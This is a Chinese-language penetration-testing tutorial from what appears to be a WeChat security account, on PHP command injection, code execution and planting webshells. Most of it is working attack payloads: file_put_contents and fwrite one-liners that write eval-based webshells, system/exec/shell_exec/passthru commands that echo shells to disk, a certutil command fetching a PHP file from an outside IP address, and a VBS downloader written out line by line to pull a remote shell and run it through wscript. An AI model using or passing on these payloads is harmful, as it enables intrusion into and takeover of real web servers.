公眾號:白帽子左一
專注分享滲透經驗,干貨技巧...
本文由團隊手電筒分享,如果你還是個小白擔心看不懂,沒關系,“三步寫馬””如何上傳木馬”“如何拿下服務器并妥善管理”等實戰內容可以結合視頻觀看,視頻演示先從原理,再到實操演示,一步步清晰明了,更易吸收,視頻私信我
php
一.命令執行
命令執行(注入)常見可控位置情況有下面幾種:
system("$arg"); //可控點直接是待執行的程序
如果我們能直接控制$arg,那么就能執行執行任意命令了。
system("/bin/prog $arg"); //可控點是傳入程序的整個參數
我們能夠控制的點是程序的整個參數,我們可以直接用&& || 或 | 等等,利用與、或、管道命令來執行其他命令(可以涉及到很多linux命令行技巧)。
system("/bin/prog -p $arg"); //可控點是傳入程序的某個參數的值(無引號包裹)
我們控制的點是一個參數,我們也同樣可以利用與、或、管道來執行其他命令,情境與二無異。
system("/bin/prog -p="$arg"");//可控點是傳入程序的某個參數的值(有雙引號包裹)
這種情況壓力大一點,有雙引號包裹。
如果引號沒有被轉義,我們可以先閉合引號,成為第三種情況后按照第三種情況來利用,如果引號被轉義(addslashes)、我們也不必著急。
linux shell 環境下雙引號中間的變量也是可以被解析的,我們可以在雙引號內利用反引號執行任意命令 id
system("/bin/prog --p='$arg'"); //可控點是傳入程序的某個參數的值(有單引號包裹)
這是最困難的一種情況
因為單引號內只是一個字符串,我們要先閉合單引號才可以執行命令。
如:system(“/bin/prog –p=’aaa’ | id”)
在漏洞檢測中,除了有回顯的命令
還可以使用盲打的方式,比如curl遠程機器的某個目錄(看access.log),或者通過DNS解析的方式獲取到漏洞機器發出的請求。
當我們確定了OS命令注入漏洞后,通常可以執行一些初始命令來獲取有關受到破壞的系統的信息。
以下是在Linux和windows平臺上常用的一些命令的摘要:
命令目的 |
linux |
windows |
當前用戶名 |
whoami |
whoami |
操作系統 |
uname -a |
ver |
網絡配置 |
ifconfig |
ipconfig /all |
網絡連接 |
netstat -an |
netstat -an |
運行進程 |
ps -ef |
tasklist |
命令分隔符
在Linux上, ; 可以用 |、|| 代替
;前面的執行完執行后面的
|是管道符,顯示后面的執行結果
||當前面的執行出錯時執行后面的
可用**%0A和 n**換行執行命令
在Windows上,不能用 ; 可以用&、&&、|、||代替
&前面的語句為假則直接執行后面的
&&前面的語句為假則直接出錯,后面的也不執行
|直接執行后面的語句
||前面出錯執行后面的
PHP 支持一個執行運算符:反引號(``) PHP 將嘗試將反引號中的內容作為 shell 命令來執行,并將其輸出信息返回
<?php echo `whoami`;?>
效果與函數 shell_exec() 相同,都是以字符串的形式返回一個命令的執行結果,可以保存到變量中
二.代碼執行
此處以php為例,其它語言也存在這類利用。
(1) preg_replace()函數:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [,int $limit =-1[,int&$count ]])
當$pattern處存在e修飾符時,$replacement 會被當做php代碼執行。
(2)mixed call_user_func( callable $callbank [ , mixed $parameter [ , mixed
$…):
第一個參數為回調函數,第二個參數是回調函數的參數
(3)eval()和assert():
當assert()的參數為字符串時 可執行PHP代碼
【區分】:
eval(" phpinfo(); ");【√】eval(" phpinfo() ");【X】
assert(" phpinfo(); ");【√】assert(" phpinfo() ");【√】
三.反序列化
php反序列化導致RCE的原理及利用,參考專題文章:
文庫 | 反序列化漏洞匯總
四.通過代碼執行或命令執行寫shell
代碼執行寫shell
當遇到一個可以代碼執行的位置時,我們可以通過寫webshell來進行進一步滲透
1.file_put_contents函數
file_put_contents函數格式為file_put_contents(filename,data)
指定寫入文件名和寫入文件的數據
可以通過這個函數去寫入數據
這里用了網上的漏洞測試的平臺
測試語句為:
file_put_contents('gt.php','<?php eval($_REQUEST[5]);?>');
訪問文件
2.fopen() 創建文件函數
fopen函數,格式為fopen(filename,mode) 前面是文件名,后面是規定要求到該文件/流的訪問類型
它的作用是打開文件或url,這里當后續命令為w,或W+ 時,當文件不存在的話就會新建一個文件
然后再用fwrite去寫入數據
fwrite()寫入文件函數,格式為fwrite(file,string),這里file是文件名,string是寫入的字符串
這里注意如果是通過assert函數去代碼執行,那么只允許一條語句去執行
這里可以把兩個命令寫一起
例如
fwrite(fopen('z23.php','a'),'<?php phpinfo(); ?>');
執行效果如下
執行語句
fwrite(fopen('z23.php','a'),'<?php phpinfo(); ?>');
訪問文件
3.fputs函數
Fputs函數也是php里一個用于寫入文件的函數,它其實是fwrite的別名
基本用法和fwrite一樣
測試語句為
fputs(fopen('tk.php','w'),'<?php phpinfo();?>');
執行語句
fputs(fopen('tk.php','w'),'<?php phpinfo();?>');
訪問文件
4.通過執行命令執行函數去寫shell
通過代碼執行漏洞去執行代碼腳本調用操作系統命令
常用函數有
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
這里我們只挑選其中部分來測試,其他的道理差不多
4.1、首先為system()
測試語句為
system(' echo "<?php @eval($_REQUEST[8])?>" >pp.php ');
然后訪問文件測試下
測試完成
4.2、exec()函數
測試語句如下
exec(' echo "<?php @eval($_REQUEST[8])?>" >ppl.php ');
在本地執行下
訪問生成文件
4.3、shell_exec()函數
測試語句為
shell_exec(' echo "<?php @eval($_REQUEST[8])?>" >ppk.php ');
在本地執行測試
訪問生成文件
4.4、passthru()函數
測試語句為
passthru(' echo "<?php @eval($_REQUEST[8])?>" >ppm.php ');
在本地測試
訪問生成文件
命令執行寫webshell
通過cmd命令去寫入
通過cmd里的echo去寫入webshell
命令如下
echo "<?php @eval($_REQUEST[8])?>">223.php
執行如下
返回頁面如下
訪問223.php
通過命令執行去遠程下載shell
利用windows的certutil命令
例:
certutil -urlcache -split -f http://129.211.169.121/123.php
通過windows的certutil去在外部下載文件
這個certutil是windows系統上預裝的工具,一般用于校驗md5,sha1,sha256,下載文件
執行這個需要相當高的權限,
在搭建的服務器上安裝好環境
在本地測試一下
執行命令
certutil -urlcache -split -f http://129.211.169.121/123.php
得到結果
得到返回文件
訪問效果如下
通過vbs去建立腳本去下載
vbs是基于visual Basic的腳本語言,一般windows設備自帶
這里我們通過命令執行去寫入腳本,然后再通過命令執行去下載shell
測試腳本如下
Set args =Wscript.Arguments
Url="http://129.211.169.121/1234.php"
dim xHttp:Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm:Set bStrm = createobject("Adodb.Stream")
xHttp.Open"GET",Url,False
xHttp.Send
with bStrm
.type =1
.open
.write xHttp.responseBody
.savetofile "12345.php",2
endwith
先再遠程機器上設立一個php文件名為1234.php
內容為
<?php
echo “<?php phpinfo();?>”;
?>
為什么要這樣寫呢?
這個腳本是直接讀取遠程機器上的文件信息然后寫入到一個文件里,我們通過讀取這個php頁面顯示的語句去獲得shell內容
然后我們在頁面里去寫入vbs文件,這里腳本內容過長,且有換行,我們通過echo 一條條寫入命令,和前面命令執行寫shell一樣
echo Set args =Wscript.Arguments> xxx.vbs
echo Url="http://129.211.169.121/1234.php">>xxx.vbs
echo dim xHttp:Set xHttp = createobject("Microsoft.XMLHTTP")>>xxx.vbs
echo dim bStrm:Set bStrm = createobject("Adodb.Stream")>>xxx.vbs
echo xHttp.Open"GET",Url,False>>xxx.vbs
echo xHttp.Send>>xxx.vbs
echo with bStrm >>xxx.vbs
echo .type =1>>xxx.vbs
echo .open >>xxx.vbs
echo .write xHttp.responseBody >>xxx.vbs
echo .savetofile "12345.php",2>>xxx.vbs
echo endwith>>xxx.vbs
后續內容通過>> 換行寫入
得到xxx.vbs文件
然后在存在命令執行處執行命令去下載文件
執行命令 start wscript -e:vbs xxx.vbs
然后得到文件
去訪問
未完待續...